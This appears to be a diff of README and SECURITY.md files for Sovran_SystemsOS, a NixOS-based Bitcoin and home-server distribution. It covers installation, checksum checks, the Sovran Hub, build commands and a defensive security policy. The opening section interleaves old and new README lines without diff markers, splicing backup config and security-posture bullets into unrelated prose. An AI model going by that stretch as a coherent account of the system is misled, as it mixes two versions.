## Use it your way
|
||||
|
||||
- **Firewall on by default** (`networking.firewall.enable = true`). Port are opened by the module that needs it.
|
||||
- **Caddy** (`modules/core/caddy.nix`) terminates TLS for all HTTP services.
|
||||
- **Njalla** dynamic DNS (`modules/core/njalla.nix`) keeps records in sync via a 15-minute cron job.
|
||||
- **Tor** is enabled with `torsocks` available. The Bitcoin stack uses it directly — see [Security Posture](#security-posture).
|
||||
- **SSH:** localhost-only by default (`core/sshd-localhost.nix`).
|
||||
|
||||
## Security Posture
|
||||
You do not have to replace the operating system on your current computer to
|
||||
benefit from Sovran_SystemsOS.
|
||||
|
||||
Facts about the defaults, straight from `configuration.nix` and the modules:
|
||||
### As your everyday computer
|
||||
|
||||
- **Reproducible builds.** Every artifact derives from `flake.lock`. The same commit produces the same OS.
|
||||
- **Bitcoin stack over Tor.** In `modules/bitcoinecosystem.nix`, `bitcoind`, `electrs`, and `lnd` all set `tor.enforce = true`, and onion services are exposed for `bitcoind`, `electrs`, `lnd`, and friends.
|
||||
- **Firewall on, public sshd off, RDP off, auto-login off, fail2bain active**
|
||||
- **Kernel surface trimmed.** `boot.blacklistedKernelModules = [ "rxrpc" ];`
|
||||
- **Weekly garbage collection** with `--delete-older-than 7d`.
|
||||
Install Sovran_SystemsOS on a desktop, laptop, or mini PC and use its clean
|
||||
GNOME desktop as your daily operating system, with the Bitcoin software and
|
||||
the tools of your selected mode already in place.
|
||||
|
||||
## Backups & Recovery
|
||||
### As a private Bitcoin and home server
|
||||
|
||||
`services.rsnapshot` snapshots hourly and daily to `/run/media/Second_Drive/BTCEcoandBackup/NixOS_Snapshot_Backup`:
|
||||
Prefer to keep using Windows, macOS, Linux, Android, or iOS? Install
|
||||
Sovran_SystemsOS on a separate computer and let it run quietly on your local
|
||||
network, with or without a monitor. From any other device on the same network,
|
||||
open a browser, visit `http://sovransystemsos.local`, and manage everything
|
||||
from [The Sovran Hub](#the-sovran-hub).
|
||||
|
||||
```
|
||||
backup /home/ localhost/
|
||||
backup /var/lib/ localhost/
|
||||
backup /etc/nixos/ localhost/
|
||||
backup /etc/nix-bitcoin-secrets/ localhost/
|
||||
retain hourly 5
|
||||
retain daily 5
|
||||
cron hourly 0 * * * *
|
||||
cron daily 50 21 * * *
|
||||
Your existing devices stay familiar. Sovran_SystemsOS provides the independent
|
||||
infrastructure behind them.
|
||||
|
||||
---
|
||||
|
||||
## The Sovran Hub
|
||||
|
||||
### Your private infrastructure, controlled from any screen.
|
||||
|
||||
The Sovran Hub is the command center built into Sovran_SystemsOS. It is both a
|
||||
local desktop application and a private web interface served directly by your
|
||||
Sovran_SystemsOS machine. Nothing needs to be installed on the device opening
|
||||
the Hub: you only need a modern browser and access to the same local network.
|
||||
|
||||
From one place, the Hub helps you:
|
||||
|
||||
- Open, monitor, start, and stop your services
|
||||
- See what is running and configure system features
|
||||
- Manage service domains and credentials
|
||||
- Reach your Bitcoin tools, private cloud, and communications
|
||||
- Perform supported system operations without everyday terminal commands
|
||||
|
||||
### Example home setup
|
||||
|
||||
```text
|
||||
Your local network
|
||||
│
|
||||
┌──────────────────────┼──────────────────────┐
|
||||
│ │ │
|
||||
Windows laptop Phone or tablet Mac or Linux
|
||||
│ │ │
|
||||
└──────── Browser: sovransystemsos.local ────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────────────┐
|
||||
│ Sovran_SystemsOS │
|
||||
│ │
|
||||
│ • Sovran Hub │
|
||||
│ • Bitcoin node │
|
||||
│ • Sparrow Wallet │
|
||||
│ • Bisq and Bisq 2 │
|
||||
│ • Lightning │
|
||||
│ • Private cloud │
|
||||
│ • Communications │
|
||||
│ • Password vault │
|
||||
│ • Hosted services │
|
||||
└──────────────────────────┘
|
||||
```
|
||||
|
||||
The second drive is mounted by label (`BTCEcoandBackup`) with `nofail` so a missing drive doesn't block boot.
|
||||
Keep using the devices you already own. Sovran_SystemsOS becomes the private
|
||||
Bitcoin and digital infrastructure behind them.
|
||||
|
||||
> **Local access:** the Hub is available at
|
||||
> `http://sovransystemsos.local` to devices connected to the same local
|
||||
> network. It is protected by authentication and is not automatically exposed
|
||||
> to the public internet.
|
||||
|
||||
---
|
||||
|
||||
## Install Sovran_SystemsOS
|
||||
|
||||
Sovran_SystemsOS is free and open source. You can download the installer,
|
||||
verify it, write it to a USB drive, and install it yourself, staying in
|
||||
control from the very first step.
|
||||
|
||||
An ISO is a complete installation image containing the operating system and
|
||||
installer. It is not copied to a USB drive like a document; it must be written
|
||||
with an imaging application such as [Balena Etcher](https://etcher.balena.io).
|
||||
|
||||
**Before you begin, you will need:**
|
||||
|
||||
- A compatible 64-bit computer, and a backup of anything important on it
|
||||
- A USB drive that can be erased
|
||||
- Another computer for downloading and preparing the installer
|
||||
- An internet connection
|
||||
|
||||
> **Important:** Installing an operating system can erase the selected
|
||||
> destination drive. Back up important files and review every disk selection
|
||||
> carefully before continuing.
|
||||
|
||||
### 1. Download the ISO and checksum
|
||||
|
||||
- [Download Sovran_SystemsOS-1.0.6.iso](https://downloads.sovransystems.com/Sovran_SystemsOS-1.0.6.iso)
|
||||
- [Download Sovran_SystemsOS-1.0.6.iso.sha256](https://downloads.sovransystems.com/Sovran_SystemsOS-1.0.6.iso.sha256)
|
||||
|
||||
The download may take some time. Do not rename or modify the ISO before
|
||||
verifying it, and keep both files in the same folder.
|
||||
|
||||
### 2. Verify the checksum
|
||||
|
||||
A checksum is a digital fingerprint of a file. Verifying it confirms that the
|
||||
ISO downloaded completely, was not accidentally corrupted, and matches the
|
||||
published image. The checksum produced from your ISO must match the published
|
||||
checksum exactly.
|
||||
|
||||
<details>
|
||||
<summary><strong>Linux</strong></summary>
|
||||
|
||||
Open a terminal in the download folder and run:
|
||||
|
||||
```bash
|
||||
sha256sum --check Sovran_SystemsOS-1.0.6.iso.sha256
|
||||
```
|
||||
|
||||
A successful comparison reports:
|
||||
|
||||
```text
|
||||
Sovran_SystemsOS-1.0.6.iso: OK
|
||||
```
|
||||
|
||||
You can also run `sha256sum Sovran_SystemsOS-1.0.6.iso` and compare the output
|
||||
against the checksum file manually.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><strong>macOS</strong></summary>
|
||||
|
||||
Open Terminal in the download folder and run:
|
||||
|
||||
```bash
|
||||
shasum -a 256 Sovran_SystemsOS-1.0.6.iso
|
||||
```
|
||||
|
||||
Compare the value shown in Terminal with the value inside
|
||||
`Sovran_SystemsOS-1.0.6.iso.sha256`.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary><strong>Windows</strong></summary>
|
||||
|
||||
Open PowerShell in the download folder and run:
|
||||
|
||||
```powershell
|
||||
Get-FileHash .\Sovran_SystemsOS-1.0.6.iso -Algorithm SHA256
|
||||
```
|
||||
|
||||
Compare the value under `Hash` with the published checksum.
|
||||
|
||||
</details>
|
||||
|
||||
**If the values do not match, do not install.** Delete the downloaded ISO,
|
||||
download it again, and repeat the verification. Continue only after the values
|
||||
match exactly.
|
||||
|
||||
### 3. Write the ISO to a USB drive
|
||||
|
||||
1. Download and install [Balena Etcher](https://etcher.balena.io), then
|
||||
connect the USB drive.
|
||||
2. Choose **Flash from file** and select `Sovran_SystemsOS-1.0.6.iso`.
|
||||
3. Choose **Select target**, select the USB drive, and review your selection
|
||||
carefully.
|
||||
4. Choose **Flash** and wait for the writing and verification process to
|
||||
finish.
|
||||
|
||||
> **Warning:** Flashing erases the selected drive. Verify that you selected
|
||||
> the USB drive and not another storage device.
|
||||
|
||||
After flashing, your computer may report that it cannot read the USB drive or
|
||||
may show several unfamiliar partitions. This is normal for a bootable Linux
|
||||
installer. Do not format the drive.
|
||||
|
||||
### 4. Boot from the USB drive
|
||||
|
||||
1. Leave the USB drive connected and restart the destination computer.
|
||||
2. Open the computer's boot-device menu. Common keys include `F12`, `F11`,
|
||||
`F10`, `F9`, `Esc`, and `Delete`; the correct key is often shown briefly
|
||||
when the computer powers on.
|
||||
3. Select the USB drive and start the Sovran_SystemsOS installer.
|
||||
|
||||
If the normal operating system starts instead, restart and try the boot-menu
|
||||
key again.
|
||||
|
||||
### Installing in a virtual machine (optional)
|
||||
|
||||
Sovran_SystemsOS can be tested in VirtualBox, VMware, QEMU/KVM, Proxmox, and
|
||||
similar x86_64 virtual machines. Use production-like resources where possible:
|
||||
|
||||
- Allocate **8 GB RAM or more** for Desktop Only. Node and Server + Desktop
|
||||
should follow the normal 16 GB / 32 GB recommendations.
|
||||
- Create a **256 GB or larger virtual OS disk**. Thin-provisioned / dynamically
|
||||
allocated disks are fine; they do not consume the full size immediately.
|
||||
- Use NAT or bridged networking with internet access before opening the
|
||||
installer.
|
||||
- UEFI/EFI firmware is preferred. In UEFI VMs, the installer avoids depending
|
||||
on VM NVRAM boot-entry writes. If a VM boots the ISO in legacy BIOS mode,
|
||||
the installer automatically switches the installed system to GRUB.
|
||||
- For Node or Server + Desktop, attach a **second 2 TB virtual data disk**.
|
||||
If you only attach one disk, choose **Desktop Only**.
|
||||
- Present the install target as a normal virtual disk such as VirtIO, SATA,
|
||||
SCSI, or NVMe. USB-attached target disks are intentionally hidden by the
|
||||
installer to avoid erasing the installer USB by mistake.
|
||||
|
||||
### 5. Install
|
||||
|
||||
Follow the on-screen installer. Before confirming:
|
||||
|
||||
- Verify that you selected the correct destination drive.
|
||||
- Understand that existing partitions and data may be erased.
|
||||
- Disconnect unrelated external drives if you are unsure which drive is which.
|
||||
- Confirm that the computer is connected to reliable power.
|
||||
|
||||
When installation is complete, restart the computer, remove the USB drive when
|
||||
instructed, allow Sovran_SystemsOS to start from the installed drive, and
|
||||
complete the initial setup.
|
||||
|
||||
### 6. Open the Sovran Hub
|
||||
|
||||
Open the Hub directly from the Sovran_SystemsOS desktop, or from any other
|
||||
device on the same local network at:
|
||||
|
||||
```text
|
||||
http://sovransystemsos.local
|
||||
```
|
||||
|
||||
Sign in with your Sovran_SystemsOS credentials.
|
||||
|
||||
<details>
|
||||
<summary><strong>If sovransystemsos.local does not open</strong></summary>
|
||||
|
||||
1. Make sure the Sovran_SystemsOS machine is powered on, and allow it a few
|
||||
minutes to finish starting.
|
||||
2. Make sure both devices are connected to the same local network, and that
|
||||
you entered the full address `http://sovransystemsos.local`.
|
||||
3. Avoid guest Wi-Fi networks, which may prevent devices from seeing one
|
||||
another.
|
||||
4. Temporarily disconnect any VPN that may interfere with local-network
|
||||
access.
|
||||
5. Try another browser or device on the same network.
|
||||
|
||||
Some networks or devices may not support `.local` address discovery correctly.
|
||||
Network isolation, custom DNS settings, VPNs, and some routers can interfere
|
||||
with local-device discovery.
|
||||
|
||||
</details>
|
||||
|
||||
### Prefer guided help?
|
||||
|
||||
Not technical? You do not have to figure everything out alone. Visit the
|
||||
[Sovran Systems website](https://sovransystems.com) to learn about guided
|
||||
setup, supported hardware, and Royal Membership.
|
||||
|
||||
---
|
||||
|
||||
## For developers
|
||||
|
||||
Sovran_SystemsOS combines [NixOS](https://nixos.org), an in-repository
|
||||
Bitcoin and Lightning stack, desktop packages from
|
||||
[btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix), and the
|
||||
Sovran Hub. The Bitcoin modules under `modules/bitcoin/` were adapted from
|
||||
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) and are now maintained
|
||||
here. Builds no longer import or fetch nix-bitcoin. Legacy `nix-bitcoin.*`
|
||||
option names and `/etc/nix-bitcoin-secrets` remain for compatibility.
|
||||
|
||||
### Development workflow
|
||||
|
||||
| Branch | Host | Purpose |
|
||||
|---------------|---------------------------------------------------|-----------------------------|
|
||||
| `main` | [GitHub](https://github.com/naturallaw777/Sovran_SystemsOS) | Active development & PRs |
|
||||
| `staging-dev` | [Gitea](https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS) | Synced with `main` |
|
||||
| `stable` | [Gitea](https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/src/branch/stable) | Tested, release-ready builds |
|
||||
|
||||
**Flow:** develop → sync `main` ↔ `staging-dev` → promote to `stable`
|
||||
|
||||
> ⚠️ `main` and `staging-dev` may contain unreleased or less-tested code. For
|
||||
> stable, audited code, use Gitea
|
||||
> [`stable`](https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/src/branch/stable).
|
||||
|
||||
### Technology
|
||||
|
||||
- [NixOS](https://nixos.org) and [Nix flakes](https://nixos.wiki/wiki/Flakes)
|
||||
for declarative, pinned system configuration
|
||||
- `modules/bitcoin/` for the in-repository Bitcoin and Lightning stack
|
||||
- `packages/` for Sovran-maintained package definitions and patches
|
||||
- [btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix) for the
|
||||
Sparrow, Bisq, and Bisq 2 packages
|
||||
- [Python](https://www.python.org) and [FastAPI](https://fastapi.tiangolo.com)
|
||||
for the Sovran Hub backend
|
||||
- JavaScript, HTML, and CSS for the Hub interface
|
||||
- [GNOME](https://www.gnome.org) desktop environment
|
||||
- [Caddy](https://caddyserver.com) for local and public service routing
|
||||
- [Tor](https://www.torproject.org) for Bitcoin network privacy
|
||||
- [AGPL-3.0](LICENSE) licensing
|
||||
|
||||
### Build from source
|
||||
|
||||
You need a system with Nix installed and flakes enabled.
|
||||
|
||||
Clone the **stable** branch from Gitea (recommended for builds):
|
||||
|
||||
```bash
|
||||
git clone -b stable https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS.git
|
||||
cd Sovran_SystemsOS
|
||||
```
|
||||
|
||||
Or clone the **active development** line from GitHub:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/naturallaw777/Sovran_SystemsOS.git
|
||||
cd Sovran_SystemsOS
|
||||
```
|
||||
|
||||
Then build the installer ISO:
|
||||
|
||||
```bash
|
||||
nix build \
|
||||
.#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage
|
||||
```
|
||||
|
||||
The resulting build output will be available through the `result` symlink.
|
||||
|
||||
### Publishing a release
|
||||
|
||||
Releases are managed with `scripts/release-stable.sh` and `scripts/upload-cdn.sh`:
|
||||
|
||||
1. Run the stable release script to bump version, tag, update changelog, and push/create releases:
|
||||
```bash
|
||||
./scripts/release-stable.sh [version]
|
||||
```
|
||||
2. Build the installer ISO:
|
||||
```bash
|
||||
nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage
|
||||
```
|
||||
3. Copy, checksum, verify, and optionally upload to CDN:
|
||||
```bash
|
||||
./scripts/upload-cdn.sh --upload
|
||||
```
|
||||
|
||||
### Common development commands
|
||||
|
||||
Run these commands from the flake root.
|
||||
|
||||
```bash
|
||||
# Build the installer ISO
|
||||
nix build \
|
||||
.#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage
|
||||
|
||||
# Build the system configuration
|
||||
nixos-rebuild build --flake .#nixos
|
||||
|
||||
# Test without making the change permanent
|
||||
sudo nixos-rebuild test --flake .#nixos
|
||||
|
||||
# Activate the new configuration
|
||||
sudo nixos-rebuild switch --flake .#nixos
|
||||
|
||||
# Stage the configuration for the next boot
|
||||
sudo nixos-rebuild boot --flake .#nixos
|
||||
|
||||
# Update pinned flake inputs (review and test before committing flake.lock)
|
||||
nix flake update
|
||||
|
||||
# Roll back the last activated generation
|
||||
sudo nixos-rebuild switch --rollback
|
||||
```
|
||||
|
||||
### Repository map
|
||||
|
||||
| Path | Purpose |
|
||||
|---|---|
|
||||
| `flake.nix` | Declares flake inputs, the running system, and installer outputs |
|
||||
| `flake.lock` | Pins dependencies for reproducible builds |
|
||||
| `configuration.nix` | Base host, boot, desktop, user, security, backup, and system configuration |
|
||||
| `modules/` | Core modules, self-hosted services, and optional features |
|
||||
| `modules/bitcoin/` | In-repository Bitcoin and Lightning service modules |
|
||||
| `modules/core/` | Roles, Hub integration, Caddy, desktop, support, and other core behavior |
|
||||
| `app/` | Sovran Hub backend, templates, static assets, scripts, and web interface |
|
||||
| `scripts/` | Automated release, build, and CDN upload utility scripts |
|
||||
| `iso/` | Installer configuration, installer code, and installer assets |
|
||||
| `packages/` | Sovran-maintained package definitions and patches |
|
||||
| `tests/` | Security and Nix integration checks |
|
||||
| `assets/` | Documentation images |
|
||||
| `custom.template.nix` | Template for local features and service overrides |
|
||||
|
||||
On installed systems, `flake.nix` also imports `role-state.nix` (the selected
|
||||
mode), `custom.nix` (generated from `custom.template.nix`), and
|
||||
`hardware-configuration.nix`. These are generated per machine, so they are
|
||||
gitignored and not part of this repository.
|
||||
|
||||
### Architecture overview
|
||||
|
||||
Sovran_SystemsOS is assembled from a reproducible Nix flake.
|
||||
|
||||
```text
|
||||
┌─────────────────────────┐
|
||||
│ flake.nix │
|
||||
│ │
|
||||
│ Inputs and system │
|
||||
│ build outputs │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────┐
|
||||
│ configuration.nix │
|
||||
│ │
|
||||
│ Host, desktop, users, │
|
||||
│ boot, security, backup │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────┐
|
||||
│ modules/modules.nix │
|
||||
│ │
|
||||
│ Core modules, services, │
|
||||
│ and optional features │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
┌──────────────────┼──────────────────┐
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
┌────────────┐ ┌────────────┐ ┌────────────┐
|
||||
│ Sovran Hub │ │ Bitcoin │ │ Private │
|
||||
│ and desktop│ │ ecosystem │ │ services │
|
||||
└────────────┘ └────────────┘ └────────────┘
|
||||
```
|
||||
|
||||
The Hub writes supported user choices into the local configuration. NixOS then
|
||||
rebuilds the machine into the selected declarative state.
|
||||
|
||||
### Module overview
|
||||
|
||||
| Area | Modules |
|
||||
|---|---|
|
||||
| Core platform: roles, Hub, desktop integration, Caddy, domains, support, remote deployment | `modules/core/` |
|
||||
| Shared credentials | `modules/credentials.nix` |
|
||||
| Bitcoin and Lightning stack | `modules/bitcoinecosystem.nix` |
|
||||
| Automatic wallet-to-node connections | `modules/wallet-autoconnect.nix` |
|
||||
| Optional Bitcoin Core in place of Knots | `modules/bitcoin-core.nix` |
|
||||
| Alby Hub and Nostr Wallet Connect (NWC) on LND | `modules/nwc-wallets.nix`, `packages/albyhub/` |
|
||||
| Matrix Synapse | `modules/synapse.nix` |
|
||||
| Optional Element audio and video calling via LiveKit | `modules/element-calling.nix` |
|
||||
| Optional Haven Nostr relay | `modules/haven.nix` |
|
||||
| Nextcloud, Vaultwarden, WordPress | `modules/nextcloud.nix`, `modules/vaultwarden.nix`, `modules/wordpress.nix`, `modules/php.nix` |
|
||||
| Optional Mempool explorer | `modules/mempool.nix` |
|
||||
| Optional remote desktop and public SSH | `modules/rdp.nix`, `modules/sshd.nix` |
|
||||
|
||||
Feature availability and defaults may change as Sovran_SystemsOS develops.
|
||||
Review the relevant Nix module before relying on a specific default in a
|
||||
production environment.
|
||||
|
||||
---
|
||||
|
||||
## About Bitcoin wallet entropy
|
||||
|
||||
Wallet recovery words control the funds. Never share them with a website,
|
||||
support technician, cloud service, or chat application.
|
||||
|
||||
For meaningful balances, prefer a well-reviewed hardware signer and follow its
|
||||
verified backup process. A BIP39 passphrase is optional, advanced protection;
|
||||
it is not a replacement for the recovery words. If you use one, back it up
|
||||
separately—losing either item can make the wallet unrecoverable.
|
||||
|
||||
Keep durable offline backups in separate secure locations. Test recovery before
|
||||
relying on a wallet, and begin with a small amount.
|
||||
|
||||
---
|
||||
|
||||
## Security approach
|
||||
|
||||
Sovran_SystemsOS uses layered controls:
|
||||
|
||||
- Pinned flake inputs and hash-pinned source archives
|
||||
- Bitcoin and Lightning modules maintained in this repository
|
||||
- Firewall enabled; public SSH and remote desktop disabled by default
|
||||
- Separate service users, systemd sandboxing, and loopback bindings where practical
|
||||
- Tor enforcement for supported Bitcoin services
|
||||
- Restricted, time-limited support access with scoped `sudo`
|
||||
- Operator-controlled public service exposure
|
||||
|
||||
See [`SECURITY.md`](SECURITY.md) for the threat model, limitations, reporting,
|
||||
and operator guidance. No operating system can protect funds after recovery
|
||||
words, administrator credentials, or the root account are compromised. Apply
|
||||
updates and keep tested offline backups.
|
||||
|
||||
---
|
||||
|
||||
## Acknowledgements
|
||||
|
||||
Sovran_SystemsOS stands on the work of exceptional free and open-source projects and contributors.
|
||||
|
||||
### NixOS
|
||||
|
||||
Deep gratitude goes to the [NixOS](https://nixos.org) team, the [Nixpkgs](https://github.com/NixOS/nixpkgs) maintainers, and the broader [Nix community](https://github.com/nix-community).
|
||||
|
||||
NixOS provides the reproducible, declarative foundation that makes Sovran_SystemsOS possible. Its module system, package ecosystem, [flakes](https://nixos.wiki/wiki/Flakes), and generation-based system management allow an entire Bitcoin operating system to be described, audited, rebuilt, upgraded, and rolled back from source.
|
||||
|
||||
Sovran_SystemsOS would not have the same reliability, transparency, or reproducibility without their years of work.
|
||||
|
||||
### nix-bitcoin
|
||||
|
||||
The in-repository Bitcoin stack began with code adapted from
|
||||
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), primarily from commit
|
||||
[`360e30f`](https://github.com/fort-nix/nix-bitcoin/commit/360e30fee5ba32f9fecc89bc35628195d9d2dbbe).
|
||||
It has since been narrowed to Sovran's supported services and is maintained in
|
||||
this repository. nix-bitcoin is no longer a flake input or build dependency.
|
||||
|
||||
We remain grateful to the nix-bitcoin contributors for the declarative and
|
||||
security-focused foundation. Its MIT notice is retained in
|
||||
[`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md).
|
||||
|
||||
### Emmanuel Rosa and btc-clients-nix
|
||||
|
||||
Special thanks go to [Emmanuel Rosa](https://github.com/emmanuelrosa) for [btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix).
|
||||
|
||||
The project provides Nix packages for the Bitcoin desktop software central to the Sovran_SystemsOS experience:
|
||||
|
||||
- [Sparrow Wallet](https://github.com/sparrowwallet/sparrow)
|
||||
- [Bisq](https://github.com/bisq-network/bisq)
|
||||
- [Bisq 2](https://github.com/bisq-network/bisq2)
|
||||
|
||||
This work helps make it possible for Sovran_SystemsOS to deliver self-custody and peer-to-peer Bitcoin tools as part of every installation.
|
||||
|
||||
### The upstream Bitcoin ecosystem
|
||||
|
||||
Sovran_SystemsOS also depends on the work of the developers and communities behind:
|
||||
|
||||
- [Bitcoin Knots](https://github.com/bitcoinknots/bitcoin)
|
||||
- [Bitcoin Core](https://github.com/bitcoin/bitcoin)
|
||||
- [Sparrow Wallet](https://github.com/sparrowwallet/sparrow)
|
||||
- [Bisq](https://github.com/bisq-network/bisq)
|
||||
- [Bisq 2](https://github.com/bisq-network/bisq2)
|
||||
- [Electrs](https://github.com/romanz/electrs)
|
||||
- [LND](https://github.com/lightningnetwork/lnd)
|
||||
- [Ride The Lightning](https://github.com/Ride-The-Lightning/RTL)
|
||||
- [Alby Hub](https://github.com/getAlby/hub) for Nostr Wallet Connect (NWC)
|
||||
connections
|
||||
- [BTCPay Server](https://github.com/btcpayserver/btcpayserver)
|
||||
- [Tor](https://www.torproject.org)
|
||||
- [NixOS](https://github.com/NixOS/nixpkgs)
|
||||
- [GNOME](https://gitlab.gnome.org/GNOME)
|
||||
- [Caddy](https://github.com/caddyserver/caddy)
|
||||
- [Nextcloud](https://github.com/nextcloud/server)
|
||||
- [Matrix Synapse](https://github.com/element-hq/synapse)
|
||||
- [Element](https://github.com/element-hq/element-web)
|
||||
- [LiveKit](https://github.com/livekit/livekit) for Element audio and video
|
||||
calling
|
||||
- [Vaultwarden](https://github.com/dani-garcia/vaultwarden)
|
||||
- [WordPress](https://github.com/WordPress/WordPress)
|
||||
- Every other upstream project included in the system
|
||||
|
||||
Sovran Systems did not create these foundations. Our work is to bring them together into a cohesive operating system that helps more people use Bitcoin privately, independently, and with confidence.
|
||||
|
||||
Thank you to every developer, maintainer, reviewer, tester, documentarian, and user who keeps this ecosystem alive.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
Licensed under the **GNU Affero General Public License v3.0** — see [`LICENSE`](./LICENSE).
|
||||
Sovran_SystemsOS is free and open-source software licensed under the
|
||||
[GNU Affero General Public License v3.0](LICENSE).
|
||||
|
||||
The AGPL-3.0 protects your freedom to:
|
||||
|
||||
- Use Sovran_SystemsOS
|
||||
- Study how the system works
|
||||
- Modify the source code
|
||||
- Share original or modified versions
|
||||
- Build and operate the system on your own hardware
|
||||
|
||||
If you distribute a modified version, you must make its corresponding source
|
||||
code available under the same license.
|
||||
|
||||
Because Sovran_SystemsOS includes the browser-based Sovran Hub, operators who
|
||||
modify the covered software and make that modified version available for users
|
||||
to interact with over a network must offer those users access to its
|
||||
corresponding source code, as required by the AGPL-3.0.
|
||||
|
||||
Sovran_SystemsOS is provided **without warranty**, as described in the full
|
||||
license.
|
||||
|
||||
> Individual upstream applications, packages, artwork, fonts, and other
|
||||
> components included with or built by Sovran_SystemsOS may have their own
|
||||
> licenses and copyright holders. The AGPL-3.0 license for this repository does
|
||||
> not replace those licenses.
|
||||
|
||||
Read [`LICENSE`](LICENSE) and
|
||||
[`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md).
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
We welcome contributions! The
|
||||
[GitHub repository](https://github.com/naturallaw777/Sovran_SystemsOS) is the
|
||||
primary location for collaboration. Please read our
|
||||
[Contributing Guidelines](CONTRIBUTING.md) before submitting a pull request.
|
||||
|
||||
<div align="center">
|
||||
|
||||
---
|
||||
|
||||
## Privacy. Sovereignty. Bitcoin.
|
||||
|
||||
[Visit Sovran Systems](https://sovransystems.com) ·
|
||||
[Download Sovran_SystemsOS](https://downloads.sovransystems.com/Sovran_SystemsOS-1.0.6.iso) ·
|
||||
[View the License](LICENSE)
|
||||
|
||||
</div>
|
||||
+101
@@ -0,0 +1,101 @@
|
||||
# Security Policy
|
||||
|
||||
## Supported versions
|
||||
|
||||
| Release | Supported |
|
||||
|---|:---:|
|
||||
| Latest `1.0.x` stable release | Yes |
|
||||
| `main` / `staging-dev` | Development only |
|
||||
| Older than `1.0.0` | No |
|
||||
|
||||
Install the newest stable point release to receive security fixes.
|
||||
|
||||
## Report a vulnerability
|
||||
|
||||
**Do not open a public issue or pull request.** Report privately through:
|
||||
|
||||
- [GitHub Private Vulnerability Reporting](https://github.com/naturallaw777/Sovran_SystemsOS/security/advisories/new)
|
||||
- Email: [support@sovransystems.com](mailto:support@sovransystems.com)
|
||||
|
||||
Include the affected version, impact, reproduction steps, and a minimal proof of
|
||||
concept. Never send wallet recovery words, private keys, or live credentials.
|
||||
|
||||
We aim to acknowledge reports within two business days. Please allow reasonable
|
||||
time for a fix and coordinated disclosure.
|
||||
|
||||
## Security model
|
||||
|
||||
### Local-first operation
|
||||
|
||||
The Hub and core data run on operator-owned hardware. The Hub is intended for a
|
||||
trusted local network and must not be port-forwarded to the internet. Public
|
||||
services, DDNS, software updates, and optional third-party relays require
|
||||
external networks and are outside a “fully offline” model.
|
||||
|
||||
The local Hub currently uses HTTP. Authentication does not encrypt local network
|
||||
traffic, so use a trusted LAN and avoid public or guest Wi-Fi.
|
||||
|
||||
### In-repository Bitcoin stack
|
||||
|
||||
Bitcoin and Lightning modules are maintained under `modules/bitcoin/`. They were
|
||||
adapted from nix-bitcoin, but Sovran builds do not import or fetch nix-bitcoin.
|
||||
The `nix-bitcoin.*` option namespace and `/etc/nix-bitcoin-secrets` path remain
|
||||
only for upgrade compatibility.
|
||||
|
||||
### Supply chain and integrity
|
||||
|
||||
`flake.lock` pins flake inputs, and fetched source archives use fixed hashes.
|
||||
Builds still depend on pinned Nixpkgs, NixVim, btc-clients-nix, upstream source
|
||||
archives, and any configured binary cache. Keeping the Bitcoin modules in this
|
||||
repository reduces an external dependency; it does not remove supply-chain
|
||||
risk.
|
||||
|
||||
The Hub integrity check verifies Nix store contents and compares the running
|
||||
system with a build from local `/etc/nixos`. It does not authenticate the release
|
||||
publisher or protect against an attacker who already controls root and can
|
||||
change both the system and local configuration.
|
||||
|
||||
### Access and service isolation
|
||||
|
||||
- Firewall enabled by default
|
||||
- Public SSH and remote desktop disabled by default
|
||||
- Separate service users and systemd sandboxing where supported
|
||||
- Administrative service ports bound to loopback where practical
|
||||
- Tor enforced for supported Bitcoin traffic and onion services
|
||||
- Public web services exposed only when enabled by the operator
|
||||
|
||||
Tor reduces network exposure for configured Bitcoin services. It is not a
|
||||
guarantee against every IP leak, application bug, or traffic-analysis attack.
|
||||
|
||||
### Restricted support access
|
||||
|
||||
Support uses a per-session SSH key on the non-root `sovran-support` account.
|
||||
Sessions expire after 24 hours and have a small allowlist of `sudo` commands.
|
||||
Wallet paths receive deny ACLs unless the operator explicitly removes them.
|
||||
Disabling support removes the key and reapplies the ACLs.
|
||||
|
||||
Support events are written to `/var/log/sovran-support-audit.log`. This is a
|
||||
local audit log, not a cryptographically tamper-evident record.
|
||||
|
||||
## Out of scope
|
||||
|
||||
Sovran_SystemsOS cannot protect against:
|
||||
|
||||
- Compromised root or administrator credentials
|
||||
- Stolen recovery words, private keys, or backups
|
||||
- Malicious or compromised hardware, firmware, or build infrastructure
|
||||
- Services the operator deliberately exposes or weakens
|
||||
- Physical access without appropriate disk and firmware protections
|
||||
|
||||
## Operator basics
|
||||
|
||||
- Verify downloads and stop if the checksum does not match.
|
||||
- Apply stable security updates promptly.
|
||||
- Use unique passwords and keep SSH/RDP off when not needed.
|
||||
- Prefer a well-reviewed hardware signer for meaningful Bitcoin balances.
|
||||
- Keep tested, offline backups in separate secure locations.
|
||||
- Never share recovery words or private keys with support.
|
||||
- Disable support access when the session ends and review the audit log.
|
||||
|
||||
No software can provide absolute security. Review your configuration and threat
|
||||
model before storing important funds or data.
|
||||
@@ -0,0 +1,33 @@
|
||||
# Third-Party Notices
|
||||
|
||||
